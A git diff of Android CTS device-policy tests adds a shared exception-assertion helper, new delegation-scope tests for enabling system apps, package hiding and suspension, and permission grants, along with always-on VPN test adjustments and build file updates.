+++ b/hostsidetests/devicepolicy/app/DelegateApp/src/com/android/cts/delegate/BlockUninstallDelegateTest.java
@@ -16,6 +16,7 @@
package com.android.cts.delegate;
import static android.app.admin.DevicePolicyManager.DELEGATION_BLOCK_UNINSTALL;
+import static com.android.cts.delegate.DelegateTestUtils.assertExpectException;
import android.app.admin.DevicePolicyManager;
import android.content.Context;
@@ -45,14 +46,11 @@
public void testCannotAccessApis() {
assertFalse("DelegateApp should not be a block uninstall delegate",
amIBlockUninstallDelegate());
- try {
- mDpm.setUninstallBlocked(null, TEST_APP_PKG, true);
- fail("Expected SecurityException not thrown");
- } catch (SecurityException expected) {
- MoreAsserts.assertContainsRegex(
- "Caller with uid \\d+ is not a delegate of scope delegation-block-uninstall.",
- expected.getMessage());
- }
+
+ assertExpectException(SecurityException.class,
+ "Caller with uid \\d+ is not a delegate of scope", () -> {
+ mDpm.setUninstallBlocked(null, TEST_APP_PKG, true);
+ });
}
public void testCanAccessApis() {
diff --git a/hostsidetests/devicepolicy/app/DelegateApp/src/com/android/cts/delegate/CertInstallDelegateTest.java b/hostsidetests/devicepolicy/app/DelegateApp/src/com/android/cts/delegate/CertInstallDelegateTest.java
index d8d0ab3..933e257 100644
--- a/hostsidetests/devicepolicy/app/DelegateApp/src/com/android/cts/delegate/CertInstallDelegateTest.java
+++ b/hostsidetests/devicepolicy/app/DelegateApp/src/com/android/cts/delegate/CertInstallDelegateTest.java
@@ -16,6 +16,7 @@
package com.android.cts.delegate;
import static android.app.admin.DevicePolicyManager.DELEGATION_CERT_INSTALL;
+import static com.android.cts.delegate.DelegateTestUtils.assertExpectException;
import android.app.admin.DevicePolicyManager;
import android.content.BroadcastReceiver;
@@ -121,23 +122,16 @@
public void testCannotAccessApis() {
assertFalse(amICertInstallDelegate());
- try {
- mDpm.installCaCert(null, null);
- fail("Expected SecurityException not thrown");
- } catch (SecurityException expected) {
- MoreAsserts.assertContainsRegex(
- "Neither user \\d+ nor current process has "
- + "android.permission.MANAGE_CA_CERTIFICATES",
- expected.getMessage());
- }
- try {
- mDpm.removeKeyPair(null, "alias");
- fail("Expected SecurityException not thrown");
- } catch (SecurityException expected) {
- MoreAsserts.assertContainsRegex(
- "Caller with uid \\d+ is not a delegate of scope delegation-cert-install.",
- expected.getMessage());
- }
+
+ assertExpectException(SecurityException.class,
+ "Neither user \\d+ nor current process has", () -> {
+ mDpm.installCaCert(null, null);
+ });
+
+ assertExpectException(SecurityException.class,
+ "Caller with uid \\d+ is not a delegate of scope", () -> {
+ mDpm.removeKeyPair(null, "alias");
+ });
}
public void testCanAccessApis() throws Exception {
diff --git a/hostsidetests/devicepolicy/app/DelegateApp/src/com/android/cts/delegate/DelegateTestUtils.java b/hostsidetests/devicepolicy/app/DelegateApp/src/com/android/cts/delegate/DelegateTestUtils.java
new file mode 100644
index 0000000..b162f86
--- /dev/null
+++ b/hostsidetests/devicepolicy/app/DelegateApp/src/com/android/cts/delegate/DelegateTestUtils.java
@@ -0,0 +1,45 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.cts.delegate;
+
+import android.test.MoreAsserts;
+import junit.framework.Assert;
+
+/**
+ * Utils class for delegation tests.
+ */
+public class DelegateTestUtils {
+
+ @FunctionalInterface
+ public interface ExceptionRunnable {
+ void run() throws Exception;
+ }
+
+ public static void assertExpectException(Class<? extends Throwable> expectedExceptionType,
+ String expectedExceptionMessageRegex, ExceptionRunnable r) {
+ try {
+ r.run();
+ } catch (Throwable e) {
+ Assert.assertTrue("Expected " + expectedExceptionType.getName() + " but caught " + e,
+ expectedExceptionType.isAssignableFrom(e.getClass()));
+ if (expectedExceptionMessageRegex != null) {
+ MoreAsserts.assertContainsRegex(expectedExceptionMessageRegex, e.getMessage());
+ }
+ return; // Pass
+ }
+ Assert.fail("Expected " + expectedExceptionType.getName() + " was not thrown");
+ }
+}
diff --git a/hostsidetests/devicepolicy/app/DelegateApp/src/com/android/cts/delegate/EnableSystemAppDelegateTest.java b/hostsidetests/devicepolicy/app/DelegateApp/src/com/android/cts/delegate/EnableSystemAppDelegateTest.java
new file mode 100644
index 0000000..246f936
--- /dev/null
+++ b/hostsidetests/devicepolicy/app/DelegateApp/src/com/android/cts/delegate/EnableSystemAppDelegateTest.java
@@ -0,0 +1,84 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.cts.delegate;
+
+import static android.app.admin.DevicePolicyManager.DELEGATION_ENABLE_SYSTEM_APP;
+import static android.content.pm.PackageManager.GET_META_DATA;
+import static android.content.pm.PackageManager.MATCH_SYSTEM_ONLY;
+import static android.content.pm.PackageManager.MATCH_UNINSTALLED_PACKAGES;
+import static com.android.cts.delegate.DelegateTestUtils.assertExpectException;
+
+import android.app.admin.DevicePolicyManager;
+import android.content.Intent;
+import android.test.InstrumentationTestCase;
+
+import java.util.List;
+
+/**
+ * Test that an app given the {@link DevicePolicyManager#DELEGATION_PERMISSION_GRANT} scope via
+ * {@link DevicePolicyManager#setDelegatedScopes} can grant permissions and check permission grant
+ * state.
+ */
+public class EnableSystemAppDelegateTest extends InstrumentationTestCase {
+
+ private static final String TEST_APP_PKG = "com.android.cts.launcherapps.simpleapp";
+
+ private DevicePolicyManager mDpm;
+
+ @Override
+ protected void setUp() throws Exception {
+ super.setUp();
+
+ mDpm = getInstrumentation().getContext().getSystemService(DevicePolicyManager.class);
+ }
+
+ public void testCannotAccessApis() {
+ assertFalse("DelegateApp should not be an enable system app delegate",
+ amIEnableSystemAppDelegate());
+
+ // Exercise enableSystemApp(String).
+ assertExpectException(SecurityException.class,
+ "Caller with uid \\d+ is not a delegate of scope", () -> {
+ mDpm.enableSystemApp(null, TEST_APP_PKG);
+ });
+
+ // Exercise enableSystemApp(Intent).
+ assertExpectException(SecurityException.class,
+ "Caller with uid \\d+ is not a delegate of scope", () -> {
+ mDpm.enableSystemApp(null, new Intent().setPackage(TEST_APP_PKG));
+ });
+ }
+
+ public void testCanAccessApis() {
+ assertTrue("DelegateApp is not an enable system app delegate",
+ amIEnableSystemAppDelegate());
+
+ // Exercise enableSystemApp(String).
+ assertExpectException(IllegalArgumentException.class,
+ "Only system apps can be enabled this way", () -> {
+ mDpm.enableSystemApp(null, TEST_APP_PKG);
+ });
+
+ // Exercise enableSystemApp(Intent).
+ mDpm.enableSystemApp(null, new Intent());
+ }
+
+ private boolean amIEnableSystemAppDelegate() {
+ final String packageName = getInstrumentation().getContext().getPackageName();
+ final List<String> scopes = mDpm.getDelegatedScopes(null, packageName);
+ return scopes.contains(DELEGATION_ENABLE_SYSTEM_APP);
+ }
+}
diff --git a/hostsidetests/devicepolicy/app/DelegateApp/src/com/android/cts/delegate/GeneralDelegateTest.java b/hostsidetests/devicepolicy/app/DelegateApp/src/com/android/cts/delegate/GeneralDelegateTest.java
index 24bee4f..c403ffb 100644
--- a/hostsidetests/devicepolicy/app/DelegateApp/src/com/android/cts/delegate/GeneralDelegateTest.java
+++ b/hostsidetests/devicepolicy/app/DelegateApp/src/com/android/cts/delegate/GeneralDelegateTest.java
@@ -18,6 +18,8 @@
import static android.app.admin.DevicePolicyManager.DELEGATION_APP_RESTRICTIONS;
import static android.app.admin.DevicePolicyManager.DELEGATION_BLOCK_UNINSTALL;
import static android.app.admin.DevicePolicyManager.DELEGATION_CERT_INSTALL;
+import static android.app.admin.DevicePolicyManager.DELEGATION_PERMISSION_GRANT;
+import static android.app.admin.DevicePolicyManager.DELEGATION_PACKAGE_ACCESS;
import static android.app.admin.DevicePolicyManager.DELEGATION_ENABLE_SYSTEM_APP;
import android.app.admin.DevicePolicyManager;
@@ -47,7 +49,10 @@
private static final String EXPECTED_DELEGATION_SCOPES[] = {
DELEGATION_APP_RESTRICTIONS,
DELEGATION_BLOCK_UNINSTALL,
- DELEGATION_CERT_INSTALL
+ DELEGATION_CERT_INSTALL,
+ DELEGATION_PERMISSION_GRANT,
+ DELEGATION_PACKAGE_ACCESS,
+ DELEGATION_ENABLE_SYSTEM_APP
};
@Override
diff --git a/hostsidetests/devicepolicy/app/DelegateApp/src/com/android/cts/delegate/PackageAccessDelegateTest.java b/hostsidetests/devicepolicy/app/DelegateApp/src/com/android/cts/delegate/PackageAccessDelegateTest.java
new file mode 100644
index 0000000..86f2639
--- /dev/null
+++ b/hostsidetests/devicepolicy/app/DelegateApp/src/com/android/cts/delegate/PackageAccessDelegateTest.java
@@ -0,0 +1,103 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.cts.delegate;
+
+import static android.app.admin.DevicePolicyManager.DELEGATION_PACKAGE_ACCESS;
+import static com.android.cts.delegate.DelegateTestUtils.assertExpectException;
+
+import android.app.admin.DevicePolicyManager;
+import android.content.Context;
+import android.content.pm.PackageManager.NameNotFoundException;
+import android.test.InstrumentationTestCase;
+import android.test.MoreAsserts;
+
+import java.util.Arrays;
+import java.util.List;
+
+/**
+ * Test that an app given the {@link DevicePolicyManager#DELEGATION_PACKAGE_ACCESS} scope via
+ * {@link DevicePolicyManager#setDelegatedScopes} can manage package hide and suspend status.
+ */
+public class PackageAccessDelegateTest extends InstrumentationTestCase {
+
+ private static final String TEST_APP_PKG = "com.android.cts.launcherapps.simpleapp";
+
+ private DevicePolicyManager mDpm;
+
+ @Override
+ protected void setUp() throws Exception {
+ super.setUp();
+
+ Context context = getInstrumentation().getContext();
+ mDpm = context.getSystemService(DevicePolicyManager.class);
+ }
+
+ public void testCannotAccessApis() throws NameNotFoundException {
+ assertFalse("DelegateApp should not be a package access delegate",
+ amIPackageAccessDelegate());
+
+ // Exercise isApplicationHidden.
+ assertExpectException(SecurityException.class,
+ "Caller with uid \\d+ is not a delegate of scope", () -> {
+ mDpm.isApplicationHidden(null, TEST_APP_PKG);
+ });
+
+ // Exercise setApplicationHidden.
+ assertExpectException(SecurityException.class,
+ "Caller with uid \\d+ is not a delegate of scope", () -> {
+ mDpm.setApplicationHidden(null, TEST_APP_PKG, true /* hide */);
+ });
+
+ // Exercise isPackageSuspended.
+ assertExpectException(SecurityException.class,
+ "Caller with uid \\d+ is not a delegate of scope", () -> {
+ mDpm.isPackageSuspended(null, TEST_APP_PKG);
+ });
+
+ // Exercise setPackagesSuspended.
+ assertExpectException(SecurityException.class,
+ "Caller with uid \\d+ is not a delegate of scope", () -> {
+ mDpm.setPackagesSuspended(null, new String[] {TEST_APP_PKG}, true /* suspend */);
+ });
+ }
+
+ public void testCanAccessApis() throws NameNotFoundException {
+ assertTrue("DelegateApp is not a package access delegate", amIPackageAccessDelegate());
+
+ // Exercise isApplicationHidden.
+ assertFalse("Package should not be hidden", mDpm.isApplicationHidden(null, TEST_APP_PKG));
+
+ // Exercise setApplicationHidden.
+ assertTrue("Package not hidden successfully",
+ mDpm.setApplicationHidden(null, TEST_APP_PKG, true /* hide */));
+ assertTrue("Package should be hidden", mDpm.isApplicationHidden(null, TEST_APP_PKG));
+
+ // Exercise isPackageSuspended.
+ assertFalse("Package should not be suspended", mDpm.isPackageSuspended(null, TEST_APP_PKG));
+
+ // Exercise setPackagesSuspended.
+ String[] suspended = mDpm.setPackagesSuspended(null, new String[] {TEST_APP_PKG},
+ true /* suspend */);
+ assertTrue("Package not suspended successfully", suspended.length == 0);
+ assertTrue("Package should be suspended", mDpm.isPackageSuspended(null, TEST_APP_PKG));
+ }
+
+ private boolean amIPackageAccessDelegate() {
+ final String packageName = getInstrumentation().getContext().getPackageName();
+ final List<String> scopes = mDpm.getDelegatedScopes(null, packageName);
+ return scopes.contains(DELEGATION_PACKAGE_ACCESS);
+ }
+}
diff --git a/hostsidetests/devicepolicy/app/DelegateApp/src/com/android/cts/delegate/PermissionGrantDelegateTest.java b/hostsidetests/devicepolicy/app/DelegateApp/src/com/android/cts/delegate/PermissionGrantDelegateTest.java
new file mode 100644
index 0000000..81b74a2
--- /dev/null
+++ b/hostsidetests/devicepolicy/app/DelegateApp/src/com/android/cts/delegate/PermissionGrantDelegateTest.java
@@ -0,0 +1,102 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.cts.delegate;
+
+import static android.app.admin.DevicePolicyManager.DELEGATION_PERMISSION_GRANT;
+import static android.app.admin.DevicePolicyManager.PERMISSION_POLICY_AUTO_GRANT;
+import static android.app.admin.DevicePolicyManager.PERMISSION_POLICY_AUTO_DENY;
+import static android.app.admin.DevicePolicyManager.PERMISSION_GRANT_STATE_GRANTED;
+import static android.app.admin.DevicePolicyManager.PERMISSION_GRANT_STATE_DENIED;
+import static com.android.cts.delegate.DelegateTestUtils.assertExpectException;
+
+import android.app.admin.DevicePolicyManager;
+import android.content.Context;
+import android.test.InstrumentationTestCase;
+import android.test.MoreAsserts;
+
+import java.util.List;
+
+/**
+ * Test that an app given the {@link DevicePolicyManager#DELEGATION_PERMISSION_GRANT} scope via
+ * {@link DevicePolicyManager#setDelegatedScopes} can grant permissions and check permission grant
+ * state.
+ */
+public class PermissionGrantDelegateTest extends InstrumentationTestCase {
+
+ private static final String TEST_APP_PKG = "com.android.cts.launcherapps.simpleapp";
+ private static final String TEST_PERMISSION = "android.permission.READ_CONTACTS";
+
+ private DevicePolicyManager mDpm;
+
+ @Override
+ protected void setUp() throws Exception {
+ super.setUp();
+
+ Context context = getInstrumentation().getContext();
+ mDpm = context.getSystemService(DevicePolicyManager.class);
+ }
+
+ public void testCannotAccessApis() {
+ assertFalse("DelegateApp should not be a permisssion grant delegate",
+ amIPermissionGrantDelegate());
+
+ // Exercise setPermissionPolicy.
+ assertExpectException(SecurityException.class,
+ "Caller with uid \\d+ is not a delegate of scope", () -> {
+ mDpm.setPermissionPolicy(null, PERMISSION_POLICY_AUTO_GRANT);
+ });
+ assertFalse("Permission policy should not have been set",
+ PERMISSION_POLICY_AUTO_GRANT == mDpm.getPermissionPolicy(null));
+
+ // Exercise setPermissionGrantState.
+ assertExpectException(SecurityException.class,
+ "Caller with uid \\d+ is not a delegate of scope", () -> {
+ mDpm.setPermissionGrantState(null, TEST_APP_PKG, TEST_PERMISSION,
+ PERMISSION_GRANT_STATE_GRANTED);
+ });
+
+ // Exercise getPermissionGrantState.
+ assertExpectException(SecurityException.class,
+ "Caller with uid \\d+ is not a delegate of scope", () -> {
+ mDpm.getPermissionGrantState(null, TEST_APP_PKG, TEST_PERMISSION);
+ });
+ }
+
+ public void testCanAccessApis() {
+ assertTrue("DelegateApp is not a permission grant delegate",
+ amIPermissionGrantDelegate());
+
+ // Exercise setPermissionPolicy.
+ mDpm.setPermissionPolicy(null, PERMISSION_POLICY_AUTO_DENY);
+ assertTrue("Permission policy was not set",
+ PERMISSION_POLICY_AUTO_DENY == mDpm.getPermissionPolicy(null));
+
+ // Exercise setPermissionGrantState.
+ assertTrue("Permission grant state was not set successfully",
+ mDpm.setPermissionGrantState(null, TEST_APP_PKG, TEST_PERMISSION,
+ PERMISSION_GRANT_STATE_DENIED));
+
+ // Exercise getPermissionGrantState.
+ assertEquals("Permission grant state is not denied", PERMISSION_GRANT_STATE_DENIED,
+ mDpm.getPermissionGrantState(null, TEST_APP_PKG, TEST_PERMISSION));
+ }
+
+ private boolean amIPermissionGrantDelegate() {
+ final String packageName = getInstrumentation().getContext().getPackageName();
+ final List<String> scopes = mDpm.getDelegatedScopes(null, packageName);
+ return scopes.contains(DELEGATION_PERMISSION_GRANT);
+ }
+}
diff --git a/hostsidetests/devicepolicy/app/DeviceAdmin/api23/Android.mk b/hostsidetests/devicepolicy/app/DeviceAdmin/api23/Android.mk
index 46d9cc0..a8f4f05 100644
--- a/hostsidetests/devicepolicy/app/DeviceAdmin/api23/Android.mk
+++ b/hostsidetests/devicepolicy/app/DeviceAdmin/api23/Android.mk
@@ -26,11 +26,16 @@
LOCAL_RESOURCE_DIR += $(LOCAL_PATH)/../res
-LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner compatibility-device-util
+LOCAL_STATIC_JAVA_LIBRARIES := \
+ ctstestrunner \
+ compatibility-device-util \
+ legacy-android-test
+
+LOCAL_JAVA_LIBRARIES := legacy-android-test
LOCAL_SDK_VERSION := current
# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
include $(BUILD_CTS_PACKAGE)
diff --git a/hostsidetests/devicepolicy/app/DeviceAdmin/api24/Android.mk b/hostsidetests/devicepolicy/app/DeviceAdmin/api24/Android.mk
index 9afaa7a..4e2cfb6 100644
--- a/hostsidetests/devicepolicy/app/DeviceAdmin/api24/Android.mk
+++ b/hostsidetests/devicepolicy/app/DeviceAdmin/api24/Android.mk
@@ -26,11 +26,16 @@
LOCAL_RESOURCE_DIR += $(LOCAL_PATH)/../res
-LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner compatibility-device-util
+LOCAL_STATIC_JAVA_LIBRARIES := \
+ ctstestrunner \
+ compatibility-device-util \
+ legacy-android-test
+
+LOCAL_JAVA_LIBRARIES := legacy-android-test
LOCAL_SDK_VERSION := current
# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
include $(BUILD_CTS_PACKAGE)
diff --git a/hostsidetests/devicepolicy/app/DeviceAdminService/package1/Android.mk b/hostsidetests/devicepolicy/app/DeviceAdminService/package1/Android.mk
index ba45435..72d2bb0 100644
--- a/hostsidetests/devicepolicy/app/DeviceAdminService/package1/Android.mk
+++ b/hostsidetests/devicepolicy/app/DeviceAdminService/package1/Android.mk
@@ -31,6 +31,6 @@
LOCAL_SDK_VERSION := current
# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
include $(BUILD_CTS_PACKAGE)
diff --git a/hostsidetests/devicepolicy/app/DeviceAdminService/package2/Android.mk b/hostsidetests/devicepolicy/app/DeviceAdminService/package2/Android.mk
index 73e0e25..e2f9b8d 100644
--- a/hostsidetests/devicepolicy/app/DeviceAdminService/package2/Android.mk
+++ b/hostsidetests/devicepolicy/app/DeviceAdminService/package2/Android.mk
@@ -31,6 +31,6 @@
LOCAL_SDK_VERSION := current
# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
include $(BUILD_CTS_PACKAGE)
diff --git a/hostsidetests/devicepolicy/app/DeviceAdminService/package3/Android.mk b/hostsidetests/devicepolicy/app/DeviceAdminService/package3/Android.mk
index 4be285b..b88d537 100644
--- a/hostsidetests/devicepolicy/app/DeviceAdminService/package3/Android.mk
+++ b/hostsidetests/devicepolicy/app/DeviceAdminService/package3/Android.mk
@@ -31,6 +31,6 @@
LOCAL_SDK_VERSION := current
# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
include $(BUILD_CTS_PACKAGE)
diff --git a/hostsidetests/devicepolicy/app/DeviceAdminService/package4/Android.mk b/hostsidetests/devicepolicy/app/DeviceAdminService/package4/Android.mk
index d9a9f89..7f72ddf 100644
--- a/hostsidetests/devicepolicy/app/DeviceAdminService/package4/Android.mk
+++ b/hostsidetests/devicepolicy/app/DeviceAdminService/package4/Android.mk
@@ -31,6 +31,6 @@
LOCAL_SDK_VERSION := current
# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
include $(BUILD_CTS_PACKAGE)
diff --git a/hostsidetests/devicepolicy/app/DeviceAdminService/packageb/Android.mk b/hostsidetests/devicepolicy/app/DeviceAdminService/packageb/Android.mk
index 8595a39..8c66638 100644
--- a/hostsidetests/devicepolicy/app/DeviceAdminService/packageb/Android.mk
+++ b/hostsidetests/devicepolicy/app/DeviceAdminService/packageb/Android.mk
@@ -31,6 +31,6 @@
LOCAL_SDK_VERSION := current
# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
include $(BUILD_CTS_PACKAGE)
diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/api23/Android.mk b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/api23/Android.mk
index 516e32e..c818856 100644
--- a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/api23/Android.mk
+++ b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/api23/Android.mk
@@ -24,7 +24,7 @@
LOCAL_SRC_FILES := $(call all-java-files-under, ../src)
-LOCAL_JAVA_LIBRARIES = conscrypt
+LOCAL_JAVA_LIBRARIES = conscrypt legacy-android-test
LOCAL_STATIC_JAVA_LIBRARIES = android-support-v4 compatibility-device-util ctstestrunner ub-uiautomator
@@ -33,6 +33,6 @@
LOCAL_RESOURCE_DIR := $(LOCAL_PATH)/../res
# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
include $(BUILD_CTS_PACKAGE)
diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/api25/Android.mk b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/api25/Android.mk
index 962c5f5..1c50763 100644
--- a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/api25/Android.mk
+++ b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/api25/Android.mk
@@ -24,7 +24,7 @@
LOCAL_SRC_FILES := $(call all-java-files-under, ../src)
-LOCAL_JAVA_LIBRARIES = conscrypt
+LOCAL_JAVA_LIBRARIES = conscrypt legacy-android-test
LOCAL_STATIC_JAVA_LIBRARIES = android-support-v4 compatibility-device-util ctstestrunner ub-uiautomator
@@ -33,6 +33,6 @@
LOCAL_RESOURCE_DIR := $(LOCAL_PATH)/../res
# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
include $(BUILD_CTS_PACKAGE)
diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/latest/Android.mk b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/latest/Android.mk
index 1167a08..81a23d2 100644
--- a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/latest/Android.mk
+++ b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/latest/Android.mk
@@ -33,6 +33,6 @@
LOCAL_RESOURCE_DIR := $(LOCAL_PATH)/../res
# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
include $(BUILD_CTS_PACKAGE)
diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/latest/AndroidManifest.xml b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/latest/AndroidManifest.xml
index 93c052f..0dc8bc3 100644
--- a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/latest/AndroidManifest.xml
+++ b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/latest/AndroidManifest.xml
@@ -23,6 +23,7 @@
<uses-permission android:name="android.permission.DISABLE_KEYGUARD" />
<uses-permission android:name="android.permission.INTERNET" />
<uses-permission android:name="android.permission.MANAGE_ACCOUNTS" />
+ <uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE" />
<uses-permission android:name="android.permission.SET_WALLPAPER" />
<uses-permission android:name="android.permission.MODIFY_AUDIO_SETTINGS" />
diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/AlwaysOnVpnMultiStageTest.java b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/AlwaysOnVpnMultiStageTest.java
index 14f64d6..25d7be7 100644
--- a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/AlwaysOnVpnMultiStageTest.java
+++ b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/AlwaysOnVpnMultiStageTest.java
@@ -16,31 +16,43 @@
package com.android.cts.deviceandprofileowner;
+import static com.android.cts.deviceandprofileowner.vpn.VpnTestHelper.TEST_ADDRESS;
+import static com.android.cts.deviceandprofileowner.vpn.VpnTestHelper.VPN_PACKAGE;
+
import android.content.pm.PackageManager;
import android.system.ErrnoException;
import android.system.OsConstants;
import com.android.cts.deviceandprofileowner.vpn.VpnTestHelper;
-import static com.android.cts.deviceandprofileowner.vpn.VpnTestHelper.VPN_PACKAGE;
-import static com.android.cts.deviceandprofileowner.vpn.VpnTestHelper.TEST_ADDRESS;
+import java.util.concurrent.TimeUnit;
/**
* Contains methods to test always-on VPN invoked by DeviceAndProfileOwnerTest
*/
public class AlwaysOnVpnMultiStageTest extends BaseDeviceAdminTest {
+ private final int MAX_NUMBER_OF_ATTEMPTS = 5;
+
public void testAlwaysOnSet() throws Exception {
// Setup always-on vpn
- VpnTestHelper.setAndWaitForVpn(mContext, VPN_PACKAGE, /* usable */ true);
+ VpnTestHelper.waitForVpn(mContext, VPN_PACKAGE, /* usable */ true);
assertTrue(VpnTestHelper.isNetworkVpn(mContext));
VpnTestHelper.checkPing(TEST_ADDRESS);
}
+ public void testAlwaysOnSetAfterReboot() throws Exception {
+ VpnTestHelper.waitForVpn(mContext, null, /* usable */ true);
+ VpnTestHelper.checkPing(TEST_ADDRESS);
+ }
+
public void testNetworkBlocked() throws Exception {
// After the vpn app being force-stop, expect that always-on package stays the same
assertEquals(VPN_PACKAGE, mDevicePolicyManager.getAlwaysOnVpnPackage(
ADMIN_RECEIVER_COMPONENT));
+ for(int i = 0; i < MAX_NUMBER_OF_ATTEMPTS && VpnTestHelper.isNetworkVpn(mContext); ++i) {
+ Thread.sleep(TimeUnit.SECONDS.toMillis(1));
+ }
assertFalse(VpnTestHelper.isNetworkVpn(mContext));
// Expect the network is still locked down after the vpn app process is killed
try {
diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/AlwaysOnVpnTest.java b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/AlwaysOnVpnTest.java
index 01a5a3a..fff701e 100644
--- a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/AlwaysOnVpnTest.java
+++ b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/AlwaysOnVpnTest.java
@@ -16,14 +16,14 @@
package com.android.cts.deviceandprofileowner;
+import static com.android.cts.deviceandprofileowner.vpn.VpnTestHelper.TEST_ADDRESS;
+import static com.android.cts.deviceandprofileowner.vpn.VpnTestHelper.VPN_PACKAGE;
+
import android.os.Bundle;
import android.os.UserManager;
import com.android.cts.deviceandprofileowner.vpn.VpnTestHelper;
-import static com.android.cts.deviceandprofileowner.vpn.VpnTestHelper.VPN_PACKAGE;
-import static com.android.cts.deviceandprofileowner.vpn.VpnTestHelper.TEST_ADDRESS;
-
/**
* Validates that a device owner or profile owner can set an always-on VPN without user action.
*
@@ -46,6 +46,8 @@
@Override
public void setUp() throws Exception {
super.setUp();
+ // always-on is null by default
+ assertNull(mDevicePolicyManager.getAlwaysOnVpnPackage(ADMIN_RECEIVER_COMPONENT));
mPackageName = mContext.getPackageName();
}
@@ -60,7 +62,7 @@
// test always-on is null by default
assertNull(mDevicePolicyManager.getAlwaysOnVpnPackage(ADMIN_RECEIVER_COMPONENT));
- VpnTestHelper.setAndWaitForVpn(mContext, VPN_PACKAGE, /* usable */ true);
+ VpnTestHelper.waitForVpn(mContext, VPN_PACKAGE, /* usable */ true);
VpnTestHelper.checkPing(TEST_ADDRESS);
}
@@ -81,7 +83,7 @@
restrictions.putStringArray(RESTRICTION_ALLOWED, new String[] {mPackageName});
mDevicePolicyManager.setApplicationRestrictions(ADMIN_RECEIVER_COMPONENT, VPN_PACKAGE,
restrictions);
